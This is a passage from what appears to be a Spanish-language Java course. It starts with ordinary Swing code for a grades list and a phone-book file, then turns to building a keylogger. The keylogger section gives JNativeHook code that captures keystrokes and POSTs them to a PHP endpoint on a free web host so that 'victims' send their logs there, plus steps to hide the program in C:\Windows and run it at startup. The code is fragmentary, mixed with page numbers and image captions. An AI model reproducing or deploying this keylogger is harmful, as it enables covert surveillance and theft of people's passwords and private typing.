, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel5)
.addComponent(jLabel6))
.addContainerGap())
);
pack();
}// </editor-fold>
180
DefaultListModel modelo2=new DefaultListModel();
modelo1.addElement("yo");
modelo1.addElement(100);
modelo1.addElement(true);
jList1.setModel(modelo1);
jList1.setVisible(true);*/
modelo1.removeAllElements();
modelo2.removeAllElements();
for(int i=0;i<contador;i++){
if(alumnos[i].promedio()<6){
modelo1.addElement(alumnos[i].getnombre());
}else{
modelo2.addElement(alumnos[i].getnombre());
}
}
jList1.setModel(modelo1);
jList2.setModel(modelo2);
jList1.setVisible(true);
jList2.setVisible(true);
}
181
// TODO add your handling code here:
try{
if (!Validar()){
alumnos[contador].setnumero(jTextField1.getText());
alumnos[contador].setnombre(jTextField2.getText());
alumnos[contador].setcalif1(Float.parseFloat(jTextField3.getText()));
alumnos[contador].setcalif2(Float.parseFloat(jTextField4.getText()));
contador++;
jTextField1.setText("");
jTextField2.setText("");
jTextField3.setText("");
jTextField4.setText("");
}else{
JOptionPane.showMessageDialog(null,"Ya esxiete el expediente");
}
}catch(Exception e){
JOptionPane.showMessageDialog(null,"Error:"+e.toString());
}
}
182
JOptionPane.showMessageDialog(null, E);
}
modelo1.removeAllElements();
modelo1.addElement("Holo");
}catch(Exception e){
JOptionPane.showMessageDialog(null, e.toString());
}
}
183
boolean respuesta=false;
float c1;
try{
c1=Float.parseFloat(jTextField3.getText());
if (c1<0||c1>10){
JOptionPane.showMessageDialog(null,"Error de calificacion 1");
}else{
respuesta=true;
}
}catch(Exception e){
JOptionPane.showMessageDialog(null,"Erro de calificacion 1");
}
return respuesta;
}
private boolean ValidarCalificacion2(){
boolean respuesta=false;
return respuesta;
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
184
* For details see
http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
java.util.logging.Logger.getLogger(Programa07.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(Programa07.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(Programa07.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(Programa07.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
185
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new Programa07().setVisible(true);
}
});
}
186
private javax.swing.JTextField jTextField3;
private javax.swing.JTextField jTextField4;
// End of variables declaration
}
Los elementos que están en amarillo son los que utilizamos para este
programa.
Que nos quedara de la siguiente forma:
187
Imagen 1.70, Muestra los datos
En mi caso voy a meter dos veces datos y los voy a consultar y nos va
aparecer en la lista de jLabel6:
188
Imagen 1.72, Muestra mensaje en jLabel5
Vamos a realizar un ejemplo muy sencillo, una agenda que guarde datos
personales y los guarde en una lista:
package proyecto04;
import java.io.*;
import javax.swing.JOptionPane;
/**
*
* @author Monserrat
*/
public class proyecto04 extends javax.swing.JFrame {
/**
* Creates new form ejrcicio04
189
*/
public proyecto04() {
initComponents();
}
/**
* This method is called from within the constructor to initialize the form.
190
jCorreo = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jButton2 = new javax.swing.JButton();
jButton3 = new javax.swing.JButton();
jScrollPane2 = new javax.swing.JScrollPane();
jTable2 = new javax.swing.JTable();
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null},
{null, null, null, null},
{null, null, null, null},
{null, null, null, null}
},
new String [] {
"Title 1", "Title 2", "Title 3", "Title 4"
}
));
jScrollPane1.setViewportView(jTable1);
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
191
jLabel2.setText("Tel Casa");
jNombre.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jNombreActionPerformed(evt);
}
});
192
jButton2.setFont(new java.awt.Font("Verdana", 1, 11)); // NOI18N
jButton2.setText("Cunsulta");
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
});
jTable2.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null, null}
},
new String [] {
"Nombre", "Tel Casa", "Celular", "Tel Trabajo", "Correo"
}
){
boolean[] canEdit = new boolean [] {
false, false, false, false, false
193
};
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jScrollPane2)
.addContainerGap())
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.TRAILING)
.addGroup(layout.createSequentialGroup()
194
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel1)
.addComponent(jLabel2)
.addComponent(jLabel3)
.addComponent(jLabel4)
.addComponent(jLabel5))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELAT
ED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jNombre)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addComponent(jCelular)
.addComponent(jCasa)
.addComponent(jTrabajo,
javax.swing.GroupLayout.DEFAULT_SIZE, 200, Short.MAX_VALUE))
.addComponent(jCorreo,
javax.swing.GroupLayout.PREFERRED_SIZE, 274,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(0, 0, Short.MAX_VALUE))
.addGroup(layout.createSequentialGroup()
195
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(115, 115, 115)
.addComponent(jButton2))
.addComponent(jButton1))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, 30, Short.MAX_VALUE)
.addComponent(jButton3)
.addGap(23, 23, 23))))
.addGroup(layout.createSequentialGroup()
.addGap(0, 0, Short.MAX_VALUE)
.addComponent(jLabel6)))
.addGap(54, 54, 54))))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(19, 19, 19)
.addComponent(jLabel6)
.addGap(27, 27, 27)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel1)
.addComponent(jNombre,
javax.swing.GroupLayout.PREFERRED_SIZE,
196
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel2)
.addComponent(jCasa,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel3)
.addComponent(jCelular,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel4)
.addComponent(jTrabajo,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
197
.addComponent(jLabel5)
.addComponent(jCorreo,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(31, 31, 31)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jButton1)
.addComponent(jButton2)
.addComponent(jButton3))
.addGap(18, 18, 18)
.addComponent(jScrollPane2,
javax.swing.GroupLayout.PREFERRED_SIZE, 111,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE))
);
pack();
}// </editor-fold>
198
datos[4]=jCorreo.getText();
try{
if(datos[0].equals("")||datos[1].equals("")||datos[2].equals("")||datos[3].e
quals("")||datos[4].equals("")){
fw.write(datos[0]+"|"+datos[1]+"|"+datos[2]+"|"+datos[3]+"|"+datos[4]+"|\
n");
fw.close();
JOptionPane.showMessageDialog(null, "Alta Exitosa");
jNombre.setText("");
jCasa.setText("");
jCelular.setText("");
jTrabajo.setText("");
jCorreo.setText("");
}
}catch(Exception e){
199
private boolean consulta(String nombre){
boolean r=false;
try{
FileReader fr=new
FileReader("C:\\Users\\Monserrat\\Documents\\Programacion_Orientad
a_a_Objetos-2016-08-24\\Programacion Orientada a
Objetos\\guarda.txt");
BufferedReader br= new BufferedReader(fr);
String linea;
linea=br.readLine();
while (linea!=null){
String datos[]=linea.split("\\|");
if (datos[0].equals(nombre)){
r=true;
}
linea=br.readLine();
}
br.close();
fr.close();
}catch(Exception e){
JOptionPane.showMessageDialog(null, "Error:"+e.toString());
}
return r;
}
@SuppressWarnings("empty-statement")
private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:
200
String nombre=JOptionPane.showInputDialog("Ingrese el nombre a
consular");
if (consulta(nombre)){
try{
201
JOptionPane.showMessageDialog(null, "Nombre no encontrado",
"Error de Contenido", JOptionPane.INFORMATION_MESSAGE);
}
}
FileReader fr=new
FileReader("C:\\Users\\Monserrat\\Documents\\Programacion_Orientad
a_a_Objetos-2016-08-24\\Programacion Orientada a
Objetos\\guarda.txt");
BufferedReader br= new BufferedReader(fr);
String linea;
linea=br.readLine();
int r=0;
while (linea!=null){
String datos[]=linea.split("\\|");
if (datos[0].equals(nombre)){
}else{
array[r][0]=datos[0];
array[r][1]=datos[1];
array[r][2]=datos[2];
array[r][3]=datos[3];
202
array[r][4]=datos[4];
r++;
}
linea=br.readLine();
}
br.close();
fr.close();
FileWriter fw= new FileWriter("f:/tarea4/Datos.txt", false);
for (int i = 0; i < r; i++) {
fw.write(array[i][0]+"|"+array[i][1]+"|"+array[i][2]+"|"+array[i][3]+"|"+array[i][
4]+"|\n");
}
fw.close();
JOptionPane.showMessageDialog(null, "El registro se a eliminado");
}catch(Exception e){
JOptionPane.showMessageDialog(null, "Error:"+e.toString());
}
}else{
JOptionPane.showMessageDialog(null, "El nombre no existe");
}
}
/**
203
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
java.util.logging.Logger.getLogger(proyecto04.class.getName()).log(java.u
til.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(proyecto04.class.getName()).log(java.u
til.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
204
java.util.logging.Logger.getLogger(proyecto04.class.getName()).log(java.u
til.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(proyecto04.class.getName()).log(java.u
til.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
//</editor-fold>
205
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JTextField jNombre;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JTable jTable1;
private javax.swing.JTable jTable2;
private javax.swing.JTextField jTrabajo;
// End of variables declaration
}
Lo que esta marcado en amarillo son todos los elementos que utilizamos.
Qurdandonos de esta forma:
206
Imagen 1.73, Muestra el ejemplo de agenda de telefonos
207
Imagen 1.76, De igual forma podemos eliminar al miembro que agrgamos
208
5.4. Archivos
En esta parte vamos a realizar diferentes tipos de ejemplos de como
relacionar un archivo con nutro programa en java:
Ejemplo uno crearemos una clase en java qu contenga lo siguiente:
public class Programa10 {
public static void main(String arg[]){
String datos[][]=new String[5][2];
datos[0][0]="monse";
datos[0][1]="5554372367";
datos[1][0]="monse1";
datos[1][1]="5554372367";
datos[2][0]="monse2";
datos[2][1]="5554372367";
datos[3][0]="monse3";
datos[3][1]="5554372367";
datos[4][0]="monse4";
datos[4][1]="5554372367";
try{
209
}
210
5.5. Construcción del Keylogger primer parte
¿Qué es un Keylogger?
Para esto necesitamos saber en qué lenguaje lo vamos a crear ya que según
el tipo de lenguaje podemos encontrarnos limitaciones, ya sea para
Windows, Mac o Linux. Pero lo ideal es que sea uno para todos los sistemas
operativos tal cual esperamos y que sea en un lenguaje como Java ya que
es multiplataforma.
Eso resolvería nuestra primera limitante para crear un keylogger que sea
para todos los S.O. Ahora nos podemos encontrar con una limitante más en
caso de Java. El siguiente sería que nuestro Keylogger en java por si solo en
lenguaje JAVA no se puede.
Java no puede leer nada fuera de la JVM (Java Virtual Machine). Eso es una
nueva limitante y que nos puede preocupar, pero como todos saben que
todo es posible pues tienen razón podemos ocupar una API que nos permita
211
apoyarnos de un lenguaje o dependencias del sistema operativo que nos
facilite la principal función de un Keylogger que es leer todo lo que se teclea.
212
Escogemos la opción de Java Application.
213
Imagen 1.78, Selección de Java
214
Imagen 1.79, Donde se guardará nuestro proyecto
Una vez hecho esto nos parecerá nuestra clase y método main creado.
215
Imagen 1.80, Proyecto ya creado
216
Imagen 1.82, Importación de librería.
217
import org.jnativehook.GlobalScreen;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
GlobalScreen.getInstance().addNativeKeyListener(new
Keylogger1());
218
//El código que imprimirá en la salida estándar cuál tecla se ha
presionado es:
String axo = (NativeKeyEvent.getKeyText(e.getKeyCode()));
System.out.print(axo);
// Mostramos lo que capturamos.
@Override
public void nativeKeyReleased(NativeKeyEvent e) {
// TODO Auto-generated method stub
}
@Override
public void nativeKeyTyped(NativeKeyEvent e) {
// TODO Auto-generated method stub
}
219
Se puede apreciar como captura lo que escribimos en nuestro bloc de
notas. Todo esto se ve reflejado en la parte inferior de nuestro programa que
se está ejecutando.
try {
220
GlobalScreen.registerNativeHook();
} catch(Exception e) {
e.printStackTrace();
GlobalScreen.getInstance().addNativeKeyListener(new
Keylogger1());
// System.out.println(axe);
221
metodo_agregamos(axe);
}
public void metodo_agregamos(String hola)
{
chido.add(hola);
aux += chido.get(i).toString();
}
metodo_enviar(aux);
chido.clear();
}
}
try{
222
System.out.print(enviar);
String Data = "dato="+enviar;
URL url = new URL("http://localhost/recibire.php");
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoOutput(true);
con.getOutputStream().write(Data.getBytes("UTF-8"));
con.getInputStream();
}catch(Exception xx)
{
System.out.println(xx);
}
}
@Override
public void nativeKeyReleased(NativeKeyEvent e) {
// TODO Auto-generated method stub
@Override
public void nativeKeyTyped(NativeKeyEvent e) {
// TODO Auto-generated method stub
}
}
223
5.6. Construcción del Keylogger Segunda parte
Una vez viendo que nuestra primera parte captura los datos se es
necesario que sean enviados a través de una petición HTTP a un sitio web;
el cual se encargará de guardar nuestros datos (capturas de teclas) las
cuales se podrán visualizar en un archivo de texto plano para mayor
comodidad.
[+] Capturar un cierto número de teclas las cuales van a ser enviadas a
nuestro sitio web.
[+] Preparar la petición HTTP para enviarlo.
[+] Tratar la información en un documento php.
[+] Visualizar esa información en un archivo de texto plano.
224
Imagen 1.85, Demostración de nuetro Keylogger
Por ultimo solo se limpia nuestro Array (línea 63) para poder realizar este
proceso nuevamente y evitar mandar información duplicada.
225
Montando archivos en nuestro Servidor Web Gratuito.
Ahora queda montar nuestros archivos en un servidor web, pero ¿por qué
en un servidor web? Debido a que las víctimas cuando se conecten
empiecen a enviarse logs de las teclas capturadas.
226
Imagen 1.87
Una vez terminado los pasos y recordar nuestra contraseña, nos llegarán
unos coreos de confirmación Imagen 1.88:
227
Confirmamos entrando a la url que nos otorgan para autentica la cuenta y
entramos a nuestro panel. Véase Imagen 1.90:
Entramos a la siguiente parte donde dice quick FTP. Esto es antes de entrar
a nuestro cPanel. Ver Imagen 1.91:
228
Imagen 1.91, Muestra los datos del FTP (File Transfer Protocol).
Una vez obtenido los datos de acceso al FTP podremos abrir el Programa
Filezilla Abrimos Filezilla FTP Client y nos conectamos. Imagen 1.92:
Imagen 1.92, Muestra el login a nuestro sitio donde se alojan los archivos
229
Imagen 1.93, Muestra la carpeta donde se alojan los archivos de la página amostrar
230
Imagen 1.94, Muestra la carpeta a subir
Para visualiza nuestros Logs basta con abrir nuestra web mediante el
subdominio que creamos: http://subdominio.x10.com/carpeta_logs /
231
Mandando nuestros Logs.
232
escribe nuestros datos en el texto plano.Finalmente el método
getInputStream () obtiene el flujo de entrada del subproceso.
Para esto es necesario crear un archivo PHP que las reciba llamado
recibire.php
La línea 5 abre un archivo llamado data.txt el cual solo necesita existir para
que se guarden ahí las teclas capturadas. Siguiendo la linea 6 que escribe
en el y hace un salto de línea con \r\n finalmente cierra el archivo en la
línea 7.
233
Imagen 1.97, Archivo
234
Imagen 1.99, Muestra el archivo en el sitio
Para poder visualizarlos solo queda abrir nuestro navegador con nuestro
subdominio que nos hemos creado en nuestro sitio web.
235
Imagen 1.100
236
Imagen 1.101, Muestra el archivo finalizado
237
Imagen 1.102, Ubicación del Keylogger
238
Agregando persistencia en nuestro programa.
Para estar seguros que nuestro Keylogger se ejecute cada vez que se inicie
Windows de nuestra víctima podemos hacer lo siguiente.
Copiamos nuestro archivo en cualquier lugar oculto. Ejemplo C://Windows/
En este ejemplo se creó una carpeta llamada Adas para ubicarlo más
rápidamente.
Imagen 1.105
239
Este acceso directo se corta y oprimiremos la tecla Windows+R para poder
ejecutar el siguiente comando: Shell:startup.
Imagen 1.106
Imagen 1.107
240
Pegamos nuestro acceso directo y podemos estar seguros de que siempre
se ejecutará nuestro Keylogger.
241